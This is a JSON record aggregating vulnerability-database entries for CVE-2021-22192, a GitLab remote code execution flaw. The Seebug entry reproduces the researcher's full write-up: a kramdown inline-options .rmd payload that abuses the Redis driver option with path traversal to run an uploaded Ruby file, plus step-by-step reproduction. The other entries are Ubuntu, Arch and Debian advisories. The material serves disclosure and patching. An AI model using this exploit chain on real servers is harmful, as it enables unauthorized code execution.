An issue has been discovered in GitLab CE/EE affecting all versions starting from 13.2 allowing unauthorized authenticated users to execute arbitrary code on the server.
{"seebug": [{"lastseen": "2021-07-24T16:10:13", "description": "When rendering wiki content with certain extensions such as `.rmd`, `render_wiki_content` will call [`other_markup_unsafe`](https://gitlab.com/gitlab-org/gitlab/-/blob/v13.9.3-ee/app/helpers/markup_helper.rb#L145) which will end up calling `GitHub::Markup.render` from the `github-markup` gem. Files with any extension can be uploaded by checking out the wiki with git, commiting the files and pushing the changes back.\n\nSince `kramdown` is loaded, this will end up using it for the [markdown parser](https://github.com/github/markup/blob/v1.7.0/lib/github/markup/markdown.rb#L23) by calling `Kramdown::Document.new(content).to_html`\n\nKramdown has a special extension that allows for options to be [set inline](https://kramdown.gettalong.org/options.html), the example they give is: `{::options auto_ids=\"false\" footnote_nr=\"5\" syntax_highlighter_opts=\"{line_numbers: true\\}\" /}`\n\nThe default syntax highlighter is `rouge` which has an option [`formatter`](https://kramdown.gettalong.org/syntax_highlighter/rouge.html) that can be set via `syntax_highlighter_opts` in the inline options. This option gets used by [`formatter_class`](https://github.com/gettalong/kramdown/blob/REL_2_3_0/lib/kramdown/converter/syntax_highlighter/rouge.rb#L73):\n\n```\n def self.call(converter, text, lang, type, call_opts)\n opts = options(converter, type)\n call_opts[:default_lang] = opts[:default_lang]\n return nil unless lang || opts[:default_lang] || opts[:guess_lang]\n\n lexer = ::Rouge::Lexer.find_fancy(lang || opts[:default_lang], text)\n return nil if opts[:disable] || !lexer || (lexer.tag == \"plaintext\" && !opts[:guess_lang])\n\n opts[:css_class] ||= 'highlight' # For backward compatibility when using Rouge 2.0\n formatter = formatter_class(opts).new(opts)\n formatter.format(lexer.lex(text))\n end\n\n def self.formatter_class(opts = {})\n puts \"formatter\"\n puts opts[:formatter]\n case formatter = opts[:formatter]\n when Class\n formatter\n when /\\A[[:upper:]][[:alnum:]_]*\\z/\n ::Rouge::Formatters.const_get(formatter)\n else\n # Available in Rouge 2.0 or later\n ::Rouge::Formatters::HTMLLegacy\n end\n rescue NameError\n # Fallback to Rouge 1.x\n ::Rouge::Formatters::HTML\n end\n```\n\n\n\nSo this a means that `::Rouge::Formatters.const_get(opts[:formatter]).new(opts)` will be called, where `opts` is controllable via the inline options to kramdown, allowing ruby objects to be initialised so long as the validation of `/\\A[[:upper:]][[:alnum:]_]*\\z/` passes. The validation slightly restricts things, but pretty much any class without a namespace (`::` is not allowed) can be created. For example (the two `~~` should have an extra `~` but it's messing up the h1 formatting so will need to add it):\n\n```\n{::options auto_ids=\"false\" footnote_nr=\"5\" syntax_highlighter=\"rouge\" syntax_highlighter_opts=\"{formatter: CSV, line_numbers: true\\}\" /}\n\n~~ ruby\n def what?\n 42\n end\n~~\n```\n\n\n\nWill result in a `CSV` object being created and then it will error with `private method 'format' called for #<CSV:0x00007fe4df7e26d0>` as it tries to use this as the formatter.\n\nOne of the loaded classes is gitlab is `Redis` from [redis-rb](https://github.com/redis/redis-rb) which has an option `driver` that is used to load the driver class:\n\nhttps://github.com/redis/redis-rb/blob/v4.1.3/lib/redis/client.rb#L507\n\n```\n def _parse_driver(driver)\n driver = driver.to_s if driver.is_a?(Symbol)\n\n if driver.kind_of?(String)\n begin\n require_relative \"connection/#{driver}\"\n rescue LoadError, NameError => e\n begin\n require \"connection/#{driver}\"\n rescue LoadError, NameError => e\n raise RuntimeError, \"Cannot load driver #{driver.inspect}: #{e.message}\"\n end\n end\n\n driver = Connection.const_get(driver.capitalize)\n end\n\n driver\n end\n```\n\n\n\nAs both `require_relative` and `require` allow for directory traversal, supplying a `driver` option such as `../../../../../../../../../../tmp/a.rb` will cause that file to be evaluated.\n\nOne of the ways to get a file to a known location in gitlab is to attach a file in the description of a snippet. When attaching, a markdown link will be created similar to: `[file.rb](/uploads/-/system/user/1/1cd3e965551892a4c0c1af01ef2f2ad7/file.rb)`. The default `gitlab_rails['uploads_directory']` is `/var/opt/gitlab/gitlab-rails/uploads` meaning the final file location will be `/var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/1cd3e965551892a4c0c1af01ef2f2ad7/file.rb`.\n\nCombining all of of this, we can create the following `.rmd` file to execute our payload (add `~` to both of the `~~`):\n\n```\n{::options auto_ids=\"false\" footnote_nr=\"5\" syntax_highlighter=\"rouge\" syntax_highlighter_opts=\"{formatter: Redis, driver: ../../../../../../../../../../var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/1cd3e965551892a4c0c1af01ef2f2ad7/file.rb\\}\" /}\n\n~~ ruby\ndef what?\n 42\nend\n~~\n```\n\n\n\n### Steps to reproduce\n\n1. Create a new snippet with any title and file\n\n2. In the description, click `Attach a file` and select the final ruby payload such as:\n\n ```\n puts \"hello from ruby\"\n `echo vakzz was here > /tmp/vakzz`\n \u200b```\n ```\n\n \n\n3. Make note of the upload path: `/uploads/-/system/user/1/c4119c5b144037f708ead7295cea4dd0/payload.rb`\n\n4. Create a new project\n\n5. Click Wiki and create a default home page\n\n6. Hit `Clone repository` to get the clone command\n\n7. Clone the repo `git clone git@gitlab-docker.local:root/proj1.wiki.git` and add the following file `page1.rmd` using the path from above (add `~` to both the the `~~`):\n\n ```\n {::options syntax_highlighter=\"rouge\" syntax_highlighter_opts=\"{formatter: Redis, driver: ../../../../../../../../../../var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/c4119c5b144037f708ead7295cea4dd0/payload.rb\\}\" /}\n ~~ ruby\n def what?\n 42\n end\n ~~\n \u200b```\n \n ```\n\n \n\n8. Push the changes `git add -A . && git commit -m \"page1.rmd\" && git push`\n\n9. Refresh the wiki, there should now be `page1 ` of the right hand side\n\n10. Click and load `page1`\n\n11. In the gitlab logs you should see something like:\n\n ```\n wrong constant name ../../../../../../../../../../var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/c4119c5b144037f708ead7295cea4dd0/payload.rb\n lib/gitlab/other_markup.rb:11:in `render'\n app/helpers/markup_helper.rb:280:in `other_markup_unsafe'\n app/helpers/markup_helper.rb:145:in `markup_unsafe'\n app/helpers/markup_helper.rb:130:in `render_wiki_content'\n app/views/shared/wikis/show.html.haml:30\n \u200b```\n \n ```\n\n \n\n12. Looking at `/tmp` you can see that the payload was executed:\n\n ```\n root@gitlab-docker:~# cat /tmp/vakzz\n vakzz was here\n \u200b```\n ```\n\n \n\n### Impact\n\nAllows any user with push access to a wiki to execute arbitrary ruby code.\n\n### Examples\n\nExample page using the inline options to change the highlighter from rouge to `minted` - https://gitlab.com/vakzz-h1/kramdown-wiki/-/wikis/page1\n\n### What is the current *bug* behavior?\n\nInline options can be set when rendering kramdown documents\n\n### What is the expected *correct* behavior?\n\n`forbidden_inline_options` could be use to disable the dangerous inline options - https://kramdown.gettalong.org/options.html\n\n### Output of checks\n\n#### Results of GitLab environment info\n\n```\nSystem information\nSystem:\nProxy:\t\tno\nCurrent User:\tgit\nUsing RVM:\tno\nRuby Version:\t2.7.2p137\nGem Version:\t3.1.4\nBundler Version:2.1.4\nRake Version:\t13.0.3\nRedis Version:\t6.0.10\nGit Version:\t2.29.0\nSidekiq Version:5.2.9\nGo Version:\tunknown\n\nGitLab information\nVersion:\t13.9.1-ee\nRevision:\t8ae438629fa\nDirectory:\t/opt/gitlab/embedded/service/gitlab-rails\nDB Adapter:\tPostgreSQL\nDB Version:\t12.5\nURL:\t\thttp://gitlab-docker.local\nHTTP Clone URL:\thttp://gitlab-docker.local/some-group/some-project.git\nSSH Clone URL:\tgit@gitlab-docker.local:some-group/some-project.git\nElasticsearch:\tno\nGeo:\t\tno\nUsing LDAP:\tno\nUsing Omniauth:\tyes\nOmniauth Providers:\n\nGitLab Shell\nVersion:\t13.16.1\nRepository storage paths:\n- default: \t/var/opt/gitlab/git-data/repositories\nGitLab Shell path:\t\t/opt/gitlab/embedded/service/gitlab-shell\nGit:\t\t/opt/gitlab/embedded/bin/git\n```\n\n\n\n## Impact\n\nAllows any user with push access to a wiki to execute arbitrary ruby code.", "cvss3": {}, "published": "2021-03-18T00:00:00", "type": "seebug", "title": "GitLab \u672a\u6388\u6743RCE\u6f0f\u6d1e\uff08CVE-2021-22192\uff09", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2021-22192"], "modified": "2021-03-18T00:00:00", "id": "SSV:99159", "href": "https://www.seebug.org/vuldb/ssvid-99159", "sourceData": "", "sourceHref": "", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}], "ubuntucve": [{"lastseen": "2021-11-22T21:22:15", "description": "An issue has been discovered in GitLab CE/EE affecting all versions\nstarting from 13.2 allowing unauthorized authenticated users to execute\narbitrary code on the server.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-03-24T00:00:00", "type": "ubuntucve", "title": "CVE-2021-22192", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-22192"], "modified": "2021-03-24T00:00:00", "id": "UB:CVE-2021-22192", "href": "https://ubuntu.com/security/CVE-2021-22192", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}], "archlinux": [{"lastseen": "2021-07-28T14:33:55", "description": "Arch Linux Security Advisory ASA-202103-13\n==========================================\n\nSeverity: Critical\nDate : 2021-03-25\nCVE-ID : CVE-2021-22192\nPackage : gitlab\nType : arbitrary code execution\nRemote : Yes\nLink : https://security.archlinux.org/AVG-1710\n\nSummary\n=======\n\nThe package gitlab before version 13.9.4-1 is vulnerable to arbitrary\ncode execution.\n\nResolution\n==========\n\nUpgrade to 13.9.4-1.\n\n# pacman -Syu \"gitlab>=13.9.4-1\"\n\nThe problem has been fixed upstream in version 13.9.4.\n\nWorkaround\n==========\n\nNone.\n\nDescription\n===========\n\nAn issue has been discovered in GitLab CE/EE affecting all versions\nstarting from 13.2 allowing unauthorized authenticated users to execute\narbitrary code on the server.\n\nImpact\n======\n\nAn authenticated malicious user is able to execute arbitrary code on\nthe affected server.\n\nReferences\n==========\n\nhttps://about.gitlab.com/releases/2021/03/17/security-release-gitlab-13-9-4-released/#remote-code-execution-via-unsafe-user-controlled-markdown-rendering-options\nhttps://hackerone.com/reports/1125425\nhttps://gitlab.com/gitlab-org/gitlab/-/issues/324452\nhttps://gitlab.com/gitlab-org/gitlab/-/commit/179329b5c3c118924fb242dc449d06b4ed6ccb66\nhttps://security.archlinux.org/CVE-2021-22192", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-03-25T00:00:00", "type": "archlinux", "title": "[ASA-202103-13] gitlab: arbitrary code execution", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-22192"], "modified": "2021-03-25T00:00:00", "id": "ASA-202103-13", "href": "https://security.archlinux.org/ASA-202103-13", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}], "githubexploit": [{"lastseen": "2022-06-21T17:13:26", "description": "# CVE-2021-22192\n\n> CVE-2021-22192 \u9776\u573a\uff1a \u672a\u6388\u6743\u7528\u6237 RCE \u6f0f\u6d1e\n\n------\n\n## ...", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-03-27T07:09:46", "type": "githubexploit", "title": "Exploit for Vulnerability in Gitlab", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-22192"], "modified": "2022-06-21T13:40:44", "id": "4D7E04F2-9D42-5AD8-8880-C7F27234C203", "href": "", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-01-13T09:37:27", "description": "# Ph\u00e2n t\u00edch l\u1ed7 h\u1ed5ng RCE tr\u00ean Gitlab (CVE-2021\u201322192)\n\n## I) Buil...", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-04-22T09:35:57", "type": "githubexploit", "title": "Exploit for Vulnerability in Gitlab", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-22192", "CVE-2020-10518"], "modified": "2022-01-13T07:55:14", "id": "5D658D36-6845-5501-A88C-03BE24E672A0", "href": "", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}, "privateArea": 1}], "debiancve": [{"lastseen": "2022-07-04T05:59:08", "description": "An issue has been discovered in GitLab CE/EE affecting all versions starting from 13.2 allowing unauthorized authenticated users to execute arbitrary code on the server.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-03-24T17:15:00", "type": "debiancve", "title": "CVE-2021-22192", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-22192"], "modified": "2021-03-24T17:15:00", "id": "DEBIANCVE:CVE-2021-22192", "href": "https://security-tracker.debian.org/tracker/CVE-2021-22192", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}]}